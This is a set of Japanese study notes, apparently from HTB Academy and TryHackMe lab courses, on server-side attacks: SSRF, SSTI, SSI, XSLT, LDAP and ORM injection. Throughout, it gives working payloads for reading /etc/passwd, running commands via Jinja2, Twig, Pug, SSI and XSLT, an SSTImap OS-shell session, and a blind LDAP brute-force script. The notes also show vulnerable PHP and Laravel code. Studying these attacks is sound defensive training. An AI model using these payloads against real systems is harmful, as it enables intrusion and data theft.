コース

概要

サーバーサイドの脆弱性で起きる攻撃について触れる

SSRF

SSRFの識別

システムの列挙

ffufによるポートスキャンの自動化

seq 1 10000 > ports.txt
└─$ ffuf -w ./ports.txt -u http://10.129.183.53/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.129.183.53/index.php
 :: Wordlist         : FUZZ: /home/kali/Desktop/HTBAcademy/Server-Side-Attacks/ports.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Failed to connect to
________________________________________________

80                      [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 4107ms]
3306                    [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 296ms]
:: Progress: [10000/10000] :: Job [1/1] :: 139 req/sec :: Duration: [0:01:20] :: Errors: 0 ::

ffufによるディレクトリリバーサル

ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"

<SNIP>

[Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 3872ms]
    * FUZZ: admin
[Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 6ms]
    * FUZZ: availability

LFI

POSTリクエストに、「file://」を利用することによって、Localfileを読み出すことだできる
HTTP POST request to /index.php with date parameter; response shows contents of /etc/passwd file.

gopherプロトコル

HTTP POST request to /index.php with date parameter; response shows Admin Dashboard login form.

HTTPだとこんな感じだよね

POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

adminpw=admin

これをgopherにする

gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin

ウェブアプリケーションがこのURLを処理すると、指定されたバイトがターゲットに送信される

POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded

dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01

gopherプロトコルは、HTTPサーバーだけでなく、多くの内部サービスと対話するために使用できる
しかし作るのが大変なので、以下のツールでGopher URLを生成することができる

ブラインドSSRF

ブラインドSSRFの特定

システムの列挙

存在するファイル
HTTP POST request to /index.php with date parameter; response indicates date is unavailable.

存在しないファイル
HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'

SSTI

テンプレートエンジン

テンプレート処理の必要な入力

テンプレート

エンジン

このテンプレートにエンジンを埋め込むことをレンダリングという

Jinjaはこんな感じ

Hello {{ name }}!

でもこんな感じで、条件分岐とかループも行える

以下は、names という変数のすべての要素に対してループ処理を行う for ループ例

{% for name in names %}
Hello {{ name }}!
{% endfor %}

namesにこのように設定すると、names=["vautia", "21y4d", "Pedant"]
以下のように出力する

Hello vautia!
Hello 21y4d!
Hello Pedant!

SSTIの概要

SSTI : サーバーサイドテンプレートインジェクション

じゃあ、いつSSTIが発生するのか

  1. レンダリング関数が呼ばれる前に、ユーザー入力がテンプレート文字列に埋め込まれる場合
  2. テンプレートが複数回レンダリングされる場合
    • たとえば、最初のレンダリングで生成された出力にユーザー入力を追加し、それを再びテンプレートとしてレンダリングすると、そのユーザー入力はテンプレートコードとして扱われてしまう可能性がある
  3. ユーザーがテンプレート自体を編集または送信できるようなWebアプリケーション
    1. SSTI 脆弱性が明確に存在することになる

表で動いているサイトだけが、SSTIの脆弱性を持つわけではない

SSTIの確認

ユーザーの入力がそのまま表示される時に発生しがち
SQLインジェクションと同じように、テンプレートエンジンで使われている特殊文字を使って、テスト文字列を使う

${{<%[%'"}}%\.

上を入力した時に、「500 Internal Server Error」が怒るときは、SSTIの脆弱性があるかもしれない

テンプレートエンジンの特定

Jinja2でのSSTI

情報漏洩

{{ config.items() }}

このペイロードにより、使用されているシークレットキーを含む全設定情報が表示されるため、さらなる攻撃の準備に利用できる

{{ self.__init__.__globals__.__builtins__ }}

LFI

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

RCE

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

SSTIでコマンド実行する際の空白に関する注意点

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}

Twig

情報漏洩

{{_self}}

LFI

{{"/etc/passwd"|file_excerpt(1,-1)}}

RCE

{{['id'] | filter('system')}}

SSTIでコマンド実行する際の空白に関する注意点

SmartyでのSSTI

SSTIの特定

RCE Exploit

PugでのSSTI

SSTIの特定

RCE Payload
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

自動特定ツール

git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py

脆弱性スキャン

python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='

ファイルのダウンロード

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
<SNIP>
[+] File downloaded correctly

コマンドの実行

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id

<SNIP>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

OSシェルの実行

snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

<SNIP>

[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linux $ whoami
www-data

SSIインジェクション

SSIの使用は、以下のファイルの拡張子から推測できる

SSIディレクティブ

SSIディレクティブの構文例

<!--#name param1="value1" param2="value" -->

よく使われるSSIディレクティブ

環境変数の表示

<!--#printenv -->

SSIの設定を変更する・エラーメッセージを変更する例

<!--#config errmsg="Error!" -->

var パラメータで指定した変数の値を表示する

<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->

指定したコマンドの実行

<!--#exec cmd="whoami" -->

Webルートディレクトリ内のファイルを読み込み、挿入

<!--#include virtual="index.html" -->

概要

発生する可能性がある場面

確認

悪用

ユーザーの入力をそのまま使用している


ここの入力欄にSSIインジェクションを仕掛ける

環境編集の取得したい時

<!--#printenv -->

任意のコマンドを入れる時

<!--#exec cmd="id" -->

XSLTインジェクション

これはただのXML

<?xml version="1.0" encoding="UTF-8"?>
<fruits>
    <fruit>
        <name>Apple</name>
        <color>Red</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Banana</name>
        <color>Yellow</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Strawberry</name>
        <color>Red</color>
        <size>Small</size>
    </fruit>
</fruits>

XMLを操作するのが、XSLT

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all the fruits:
		<xsl:for-each select="fruit">
			<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

XMLとXSLTを組み合わせると、こんな感じの出力になる

Here are all the fruits:
    Apple (Red)
    Banana (Yellow)
    Strawberry (Red)

その他よく出てくるXSL要素

例えば、サイズが「Medium」の果物のみを色の降順で並べたリストを作成するにはこうする

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all fruits of medium size ordered by their color:
		<xsl:for-each select="fruit">
			<xsl:sort select="color" order="descending" />
			<xsl:if test="size = 'Medium'">
				<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
			</xsl:if>
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

出力

Here are all fruits of medium size ordered by their color:
    Banana (Yellow)
    Apple (Red)

概要

確認

情報漏洩

使用されているXSLTプロセッサに関する基本情報を取得するため、以下のようなXSLT要素を注入する

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

Webアプリケーションは以下のようにバージョンやベンダーの詳細を含んだレスポンスを返してくる

Local File Inclusion

unparsed-text 関数を使うとファイルを読み取れる

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

XSLTライブラリが PHP関数の呼び出しをサポートしている場合、以下のようにして file_get_contents 関数を使うことができる

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

RCE

XSLTプロセッサがPHP関数をサポートしている場合、RCEできる
たとえば、system 関数を呼び出して以下のように id コマンドを実行できる

<xsl:value-of select="php:function('system','id')" />

LDAP Injection

LDAP概要

LDAPが使われる場所

LDIF

構造・用語

検索クエリ

LDAP検索クエリの基本構文

(base DN) (scope) (filter) (attributes)

フィルターと構文

LDAPサービスとネットワークアクセス

ldapsearchはOpenLDAPスイートの一部
クエリ例

ldapsearch -x -H ldap://10.10.183.7:389 -b "dc=ldap,dc=thm" "(ou=People)"
ldapsearch OpenLDAPに付属する検索用コマンド。LDAPディレクトリから情報を取得するために使用します。
-x シンプル認証(simple authentication)を使う。通常は匿名またはユーザー名・パスワードでの簡易認証。
-H ldap://10.10.183.7:389 接続先のLDAPサーバーとポート番号を指定。この場合、IPアドレス 10.10.183.7、ポート番号 389(標準のLDAPポート)で、暗号化なしの接続を行う
-b "dc=ldap,dc=thm" Base DN(検索を開始するディレクトリのルート)を指定。ここでは、ドメインコンポーネントが ldap.thm のLDAPツリーのトップから検索を開始する
"(ou=People)" 検索フィルター、ou(組織単位:organizationalUnit)が "People" であるエントリを検索する

インジェクション概要

インジェクション概要

一般的な攻撃ベクトル

インジェクションの手順

  1. 攻撃者がWebアプリケーションのログインフォームに悪意のある入力を送信する
  2. アプリケーションは、この入力をLDAPクエリにそのまま組み込む
  3. LDAPサーバは、改ざんされたクエリを実行する
  4. その結果、不正アクセスや情報漏洩が発生する可能性がある

SQLインジェクションの、SQLサーバーがLDAPサーバーになるのと特に変わりはない
LDAP Injection Process
引用 : https://tryhackme.com/room/ldapinjection

悪用

LDAPサーバに対するユーザー認証に使われているWebアプリケーションの、簡略化されたPHPコード

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$ldap_server = "ldap://localhost";
$ldap_dn = "ou=People,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester"; 

$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
    die("LDAPサーバに接続できませんでした");
}

ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);

if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
    die("管理者資格情報でLDAPにバインドできませんでした");
}

// LDAP検索フィルタ
$filter = "(&(uid=$username)(userPassword=$password))";

// LDAP検索の実行
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);

// 検索成功の確認
if ($search_result) {
    $entries = ldap_get_entries($ldap_conn, $search_result);
    if ($entries['count'] > 0) {
        foreach ($entries as $entry) {
            if (is_array($entry)) {
                if (isset($entry['cn'][0])) {
                    $message = "ようこそ、" . $entry['cn'][0] . "さん!\n";
                }
            }
        }
    } else {
        $error = true;
    }
} else {
    $error = "LDAP検索に失敗しました\n";
}
?>
(&(uid=*)(userPassword=*))

認証バイパス

恒真式(Tautology)ベースのインジェクション

クエリ例

(&(uid={userInput})(userPassword={passwordInput}))

攻撃者は以下のような入力をする

ワイルドカード・インジェクション

クエリ例

(&(uid={userInput})(userPassword={passwordInput}))
(&(uid=*)(userPassword=*))

ブラインドLDAPインジェクション

PHPは上とほぼ同様だが、返してくるメッセージが曖昧で、クエリのエラーとかは吐かないようになっている

攻撃者は次のような入力を送る

username=a*%29%28%7C%28%26
password=pwd%29

結果として構築されるLDAPクエリ

(&(uid=a*)(|(&)(userPassword=pwd)))

となる。このとき、アプリケーションが "パスワードが間違っています。" と返す場合、LDAPディレクトリに uid が「a」で始まるユーザーが存在すると推測できる

この後も、ab*)(|(&と続けて、同じように"パスワードが間違っています。" と返されたら、ユーザー名があっていることがわかる
まあ、これ、BURPとかでも自動化できるけど、pythonでコード書くとしたら以下のようになる

import requests
from bs4 import BeautifulSoup
import string
import time

# ベースURL
url = 'http://10.10.183.42/blind.php'

# 使用する文字セット(英小文字+英大文字+数字+一部記号)
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"

# 初期化
successful_response_found = True
successful_chars = ''

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 正しい文字が見つかる限りループを継続
while successful_response_found:
    successful_response_found = False

    for char in char_set:
        # 各文字を試す
        # print(f"Trying password character: {char}")

        # パスワードフィールドを標的としたデータ構造
        data = {
            'username': f'{successful_chars}{char}*)(|(&',
            'password': 'pwd)'
        }

        # POSTリクエストを送信
        response = requests.post(url, data=data, headers=headers)

        # HTMLレスポンスを解析
        soup = BeautifulSoup(response.content, 'html.parser')

        # 成功条件を調整("色が緑のpタグ" を探す)
        paragraphs = soup.find_all('p', style='color: green;')

        if paragraphs:
            successful_response_found = True
            successful_chars += char
            print(f"見つかった文字: {char}")
            break

    if not successful_response_found:
        print("この反復では有効な文字が見つかりませんでした。")

# 最終的に見つかった文字列
print(f"最終ペイロード: {successful_chars}")

ORM Injection

概要

SQLインジェクションとORMインジェクションは、SQLを対象としていることは同じだが、いくつかの点で異なる

比較項目 SQLインジェクション ORMインジェクション
インジェクション対象 生のSQLクエリ ORMが構築するクエリ構造
複雑さ 比較的単純(SQLを直接操作) ORMの内部構造やメソッドの理解が必要
検出 WAFやクエリログで検出しやすい ORMのメソッド内で発生するため検出しにくい
対策 プレースホルダー/バリデーション/パラメータ化 入力バリデーション、ORM設定の安全性、機能制限

確認

ORMインジェクションのテスト手法

フレームワークごとの注目すべきメソッド

フレームワーク ORMライブラリ 脆弱になりがちなメソッド
Laravel Eloquent ORM whereRaw(), DB::raw()
Ruby on Rails Active Record where("name = '#{input}'")
Django Django ORM extra(), raw()
Spring Hibernate createQuery()での連結
Node.js Sequelize sequelize.query()

使用されているフレームワークを特定

入力に1'と入れる、エラーメッセージなどで、Syntax error or access violationと出てきた。これを検索にかけると、Eloquent ORMが使われているとわかる

悪用

弱い実装

以下のコードで、実装している

public function searchBlindVulnerable(Request $request)
{
    $users = [];
    $email = $request->input('email');
    $users = Admins::whereRaw("email = '$email'")->get();
    if ($users) {
        return view('user', ['users' => $users]);
    } else {
        return view('user', ['message' => 'User not found']);
    }
}

しかし、攻撃者のペイロードは、SQLインジェクションと対して変わらない
こんな感じのペイロードを入力したら、

1' OR '1'='1

以下のクエリが、実行されて、すべてのユーザーレコードが返される

SELECT * FROM users WHERE email = '1' OR '1'='1';

安全な実装例としてはこう

public function searchBlindSecure(Request $request)
{
    $email = $request->input('email');
    $users = User::where('email', $email)->get();
    if (isset($users) && count($users) > 0) {
        return view('user', ['users' => $users]);
    } else {
        return view('user', ['message' => 'User not found']);
    }
}

安全なポイント

脆弱な実装

実例
sort パラメータを使って name カラムでユーザー一覧をソートした結果を返すSQL

SELECT * FROM users ORDER BY name ASC LIMIT 2;

クエリの破壊

name->"%27))

インジェクションペイロードの作成

name->"%27)) SQL INJECTION QUERY #

ORMを使うと、安全だと思い込みがちだけど、以下の3つに気をつける必要ある